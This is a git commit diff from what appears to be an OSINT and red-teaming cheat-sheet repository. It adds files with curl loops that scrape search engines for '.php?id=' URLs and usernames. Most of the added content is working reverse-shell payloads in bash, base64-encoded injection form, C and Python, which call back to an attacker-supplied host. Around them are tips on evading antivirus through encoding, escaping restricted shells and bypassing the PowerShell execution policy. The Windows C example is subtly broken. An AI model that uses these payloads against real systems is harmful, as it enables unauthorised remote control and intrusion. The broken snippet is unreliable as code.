mirror of
https://github.com/Jieyab89/OSINT-Cheat-sheet.git
synced 2026-09-27 12:14:51 +02:00
change filename each folder
This commit is contained in:
@@ -0,0 +1,37 @@
|
||||
PRO TIPS!
|
||||
|
||||
You can add other headers, regex and search engine endpoints for refinement and to encode queries
|
||||
|
||||
- BING SEARCH
|
||||
|
||||
WEB
|
||||
|
||||
```WEB
|
||||
for ((i=1;i<=10;i++));do curl -i -s -k -L -X GET -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" "https://www.bing.com/search?pglt=2081&q=.php?id=" | grep -Eo 'href="[^\"]+"' | grep -Po "(http|https)://[a-zA-Z0-9./?=_%:-]*" | grep ".php?id" | sort -u ;done
|
||||
```
|
||||
|
||||
Hunt Username
|
||||
|
||||
```USERNAME
|
||||
for ((i=1;1<=10;i++));do curl -i -s -k -L -X GET -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0;Accept: */*;Accept-Language: id,en-US;q-0.7,en;q-0.3;Accept-Encoding: gzip, deflate, br;Referer: https: //www.bing.com/;DNT: 1;Connection: keep-alive;Cookie: 1P_JAR=2023-11-05-19;Sec-Fetch-Dest:empty;Sec-Fetch-Mode:cors;Sec-Fetch-Site: same-origin;TE: trailers" "https://www.bing.com/search?pglt=2081&q=Jieyab89" | grep -Eo 'href="[^\"]+"' | grep -Po "(http|https)://[a-zA-Z0-9./?=_%:-]*" | grep -E "Jieyab89|github" | sort -u ;done
|
||||
```
|
||||
|
||||
Hunt Username
|
||||
|
||||
```USERNAME
|
||||
for ((i=1;1<=10;i++));do curl -i -s -k -L -X GET -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0;Accept: */*;Accept-Language: id,en-US;q-0.7,en;q-0.3;Accept-Encoding: gzip, deflate, br;Referer: https: //www.bing.com/;DNT: 1;Connection: keep-alive;Cookie: 1P_JAR=2023-11-05-19;Sec-Fetch-Dest:empty;Sec-Fetch-Mode:cors;Sec-Fetch-Site: same-origin;TE: trailers" "Your Bing Request URL Header" | grep -Eo 'href="[^\"]+"' | grep -Po "(http|https)://[a-zA-Z0-9./?=_%:-]*" | grep -E "Jieyab89|github" | sort -u ;done
|
||||
```
|
||||
|
||||
- GOOGLE SEARCH
|
||||
|
||||
Hunt Username
|
||||
|
||||
```USERNAME
|
||||
for ((i=1;1<=10;i++));do curl -i -s -k -L -X GET -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0;Accept: */*;Accept-Language: id,en-US;q-0.7,en;q-0.3;Accept-Encoding: gzip, deflate, br;Referer: https: //www.google.com/;DNT: 1;Connection: keep-alive;Cookie: 1P_JAR=2023-11-05-19;Sec-Fetch-Dest:empty;Sec-Fetch-Mode:cors;Sec-Fetch-Site: same-origin;TE: trailers" "https://www.google.com/search?sourceid=chrome-psyapi2&ion=1&espv=2&ie=UTF-8&start=${i}0&q=Jieyab89" | grep -Eo 'href="[^\"]+"' | grep -Po "(http|https)://[a-zA-Z0-9./?=_%:-]*" | grep -E "Jieyab89|github" | sort -u ;done
|
||||
```
|
||||
|
||||
WEB
|
||||
|
||||
```WEB
|
||||
for ((i=1;i<=10;i++));do curl -i -s -k -L -X GET -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" "https://www.google.com/search?sourceid=chrome-psyapi2&ion=1&espv=2&ie=UTF-8&start=${i}0&q=.php?id=" | grep -Eo 'href="[^\"]+"' | grep -Po "(http|https)://[a-zA-Z0-9./?=_%:-]*" | grep ".php?id" | sort -u ;done
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
# TIPS
|
||||
|
||||
If you have obtained a vulnerability such as RCE, file upload or something else, you can use the script below to spawn a shell or backconnect revershell. If the shell does not run see below
|
||||
|
||||
1. Make sure the target has internet access (internet access opened)
|
||||
2. Try changing the port to a larger one such as 8080, 8888, etc.
|
||||
3. Encode your script using base64 and then decode it
|
||||
4. Encode your script using url encode
|
||||
|
||||
## Script 1
|
||||
|
||||
```
|
||||
sh -i >& /dev/tcp/<YOUR HOST OR IP>/<PORT> 0>&1
|
||||
```
|
||||
|
||||
## Script 2
|
||||
|
||||
```
|
||||
; echo c2ggLWkgPiYgL2Rldi90Y3AvPFlPVVIgSE9TVCBPUiBJUD4vPFBPUlQ+IDA+JjE= | base64 -d | bash;"
|
||||
```
|
||||
|
||||
## Tips escape from jails or hardening server
|
||||
|
||||
### Enum about the jail
|
||||
|
||||
```
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
env
|
||||
export
|
||||
pwd
|
||||
```
|
||||
|
||||
Source
|
||||
|
||||
- [Hacktrikcs Escaping from Jails](https://hacktricks.boitatech.com.br/linux-unix/privilege-escalation/escaping-from-limited-bash)
|
||||
- [Hacktricks github escape from jails](https://github.com/HackTricks-wiki/hacktricks/blob/master/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
- [0xffsec restricted-shells](https://0xffsec.com/handbook/shells/restricted-shells/)
|
||||
@@ -0,0 +1,101 @@
|
||||
# TIPS
|
||||
|
||||
If you have obtained a vulnerability such as RCE, file upload or something else, you can use the script below to spawn a shell or backconnect revershell. If the shell does not run see below
|
||||
|
||||
1. Make sure the target has internet access (internet access opened)
|
||||
2. Try changing the port to a larger one such as 8080, 8888, etc.
|
||||
3. Encode your script using base64 and then decode it
|
||||
4. Encode your script using url encode
|
||||
5. Check the compiler
|
||||
|
||||
|
||||
## C script spawning shell
|
||||
|
||||
``` Linux
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
int main(void){
|
||||
int port = 4444;
|
||||
struct sockaddr_in revsockaddr;
|
||||
|
||||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||
revsockaddr.sin_family = AF_INET;
|
||||
revsockaddr.sin_port = htons(port);
|
||||
revsockaddr.sin_addr.s_addr = inet_addr("<IP>");
|
||||
|
||||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||||
sizeof(revsockaddr));
|
||||
dup2(sockt, 0);
|
||||
dup2(sockt, 1);
|
||||
dup2(sockt, 2);
|
||||
|
||||
char * const argv[] = {"sh", NULL};
|
||||
execvp("sh", argv);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## C spawning cmd
|
||||
|
||||
```Windows
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
int main(void){
|
||||
int port = 4444;
|
||||
struct sockaddr_in revsockaddr;
|
||||
|
||||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||
revsockaddr.sin_family = AF_INET;
|
||||
revsockaddr.sin_port = htons(port);
|
||||
revsockaddr.sin_addr.s_addr = inet_addr("0.0.0.0");
|
||||
|
||||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||||
sizeof(revsockaddr));
|
||||
dup2(sockt, 0);
|
||||
dup2(sockt, 1);
|
||||
dup2(sockt, 2);
|
||||
|
||||
char * const argv[] = {"cmd", NULL};
|
||||
execvp("cmd", argv);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Enum about the jail
|
||||
|
||||
```
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
env
|
||||
export
|
||||
pwd
|
||||
```
|
||||
|
||||
*Windows Powershell Pro Tips
|
||||
|
||||
- If you was gett the shell, change to powershell, you can run
|
||||
|
||||
```
|
||||
powershell -ep bypass
|
||||
```
|
||||
|
||||
Source
|
||||
|
||||
- [Hacktrikcs Escaping from Jails](https://hacktricks.boitatech.com.br/linux-unix/privilege-escalation/escaping-from-limited-bash)
|
||||
- [Hacktricks github escape from jails](https://github.com/HackTricks-wiki/hacktricks/blob/master/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
- [0xffsec restricted-shells](https://0xffsec.com/handbook/shells/restricted-shells/)
|
||||
- [Hacktrikcs powershell-for-pentesters](https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters)
|
||||
@@ -0,0 +1,46 @@
|
||||
# TIPS
|
||||
|
||||
If you have obtained a vulnerability such as RCE, file upload or something else, you can use the script below to spawn a shell or backconnect revershell. If the shell does not run see below
|
||||
|
||||
1. Make sure the target has internet access (internet access opened)
|
||||
2. Try changing the port to a larger one such as 8080, 8888, etc.
|
||||
3. Encode your script using base64 and then decode it
|
||||
4. Encode your script using url encode
|
||||
5. Check the compiler
|
||||
|
||||
## Php spawning cmd
|
||||
|
||||
```Windows
|
||||
https://pastebin.com/bFqVuGwv
|
||||
```
|
||||
|
||||
## Php spawning bash
|
||||
|
||||
```Linux
|
||||
https://pastebin.com/QsSKm2F1
|
||||
```
|
||||
|
||||
### Enum about the jail
|
||||
|
||||
```
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
env
|
||||
export
|
||||
pwd
|
||||
```
|
||||
|
||||
*Windows Powershell Pro Tips
|
||||
|
||||
- If you was gett the shell, change to powershell, you can run
|
||||
|
||||
```
|
||||
powershell -ep bypass
|
||||
```
|
||||
|
||||
Source
|
||||
|
||||
- [Hacktrikcs Escaping from Jails](https://hacktricks.boitatech.com.br/linux-unix/privilege-escalation/escaping-from-limited-bash)
|
||||
- [Hacktricks github escape from jails](https://github.com/HackTricks-wiki/hacktricks/blob/master/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
- [0xffsec restricted-shells](https://0xffsec.com/handbook/shells/restricted-shells/)
|
||||
- [Hacktrikcs powershell-for-pentesters](https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters)
|
||||
@@ -0,0 +1,61 @@
|
||||
# TIPS
|
||||
|
||||
If you have obtained a vulnerability such as RCE, file upload or something else, you can use the script below to spawn a shell or backconnect revershell. If the shell does not run see below
|
||||
|
||||
1. Make sure the target has internet access (internet access opened)
|
||||
2. Try changing the port to a larger one such as 8080, 8888, etc.
|
||||
3. Encode your script using base64 and then decode it
|
||||
4. Encode your script using url encode
|
||||
5. Check the compiler
|
||||
|
||||
## Script 1
|
||||
|
||||
```
|
||||
socket=_import("socket");os=import("os");pty=import_("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR IP>",<PORT LISTENER>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
|
||||
```
|
||||
|
||||
## Script 2
|
||||
|
||||
```
|
||||
import socket
|
||||
import subprocess
|
||||
import os
|
||||
|
||||
def back_connect(host, port):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((host, port))
|
||||
os.dup2(s.fileno(), 0)
|
||||
os.dup2(s.fileno(), 1)
|
||||
os.dup2(s.fileno(), 2)
|
||||
|
||||
subprocess.call(["/bin/sh", "-i"])
|
||||
|
||||
host = "<YOUR IP>"
|
||||
port = <YOUR LISTENER PORT>
|
||||
|
||||
back_connect(host, port)
|
||||
```
|
||||
### Enum about the jail
|
||||
|
||||
```
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
env
|
||||
export
|
||||
pwd
|
||||
```
|
||||
|
||||
*Windows Powershell Pro Tips
|
||||
|
||||
- If you was gett the shell, change to powershell, you can run
|
||||
|
||||
```
|
||||
powershell -ep bypass
|
||||
```
|
||||
|
||||
Source
|
||||
|
||||
- [Hacktrikcs Escaping from Jails](https://hacktricks.boitatech.com.br/linux-unix/privilege-escalation/escaping-from-limited-bash)
|
||||
- [Hacktricks github escape from jails](https://github.com/HackTricks-wiki/hacktricks/blob/master/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
- [0xffsec restricted-shells](https://0xffsec.com/handbook/shells/restricted-shells/)
|
||||
- [Hacktrikcs powershell-for-pentesters](https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters)
|
||||
@@ -0,0 +1,18 @@
|
||||
# Red Teaming
|
||||
|
||||
Welcome to path red teaming or pentesting for OSINT, on this path there are script and about tips about for enumeration, OSINT and other tips
|
||||
|
||||
## Tips Reverse Shell
|
||||
|
||||
1. Check the operating system target
|
||||
2. Check the network or internet access on the target (internet access opened)
|
||||
3. Cehck the vuln, you can check it by run the command like sleep, delay or trying to wget on your local machine
|
||||
4. Check is it a sandbox like in a container? Or directly to the operating system. If it's a container then you have to bypass
|
||||
5. Check the installed software on the target
|
||||
6. Check the compiler on the target
|
||||
7. If AV is detected then you can encode into base64, url encode or try to enumerate what caused the payload to be detected such as checking functions, commands and others.
|
||||
8. Change the port listener to bigger
|
||||
9. If there is a restrictions you should to bypass
|
||||
10. If you have successfully connected with target, swtich to powershell if the Windows, if Linux switch to fully tty shell
|
||||
|
||||
## Soon will added (tamplate)
|
||||
Reference in New Issue
Block a user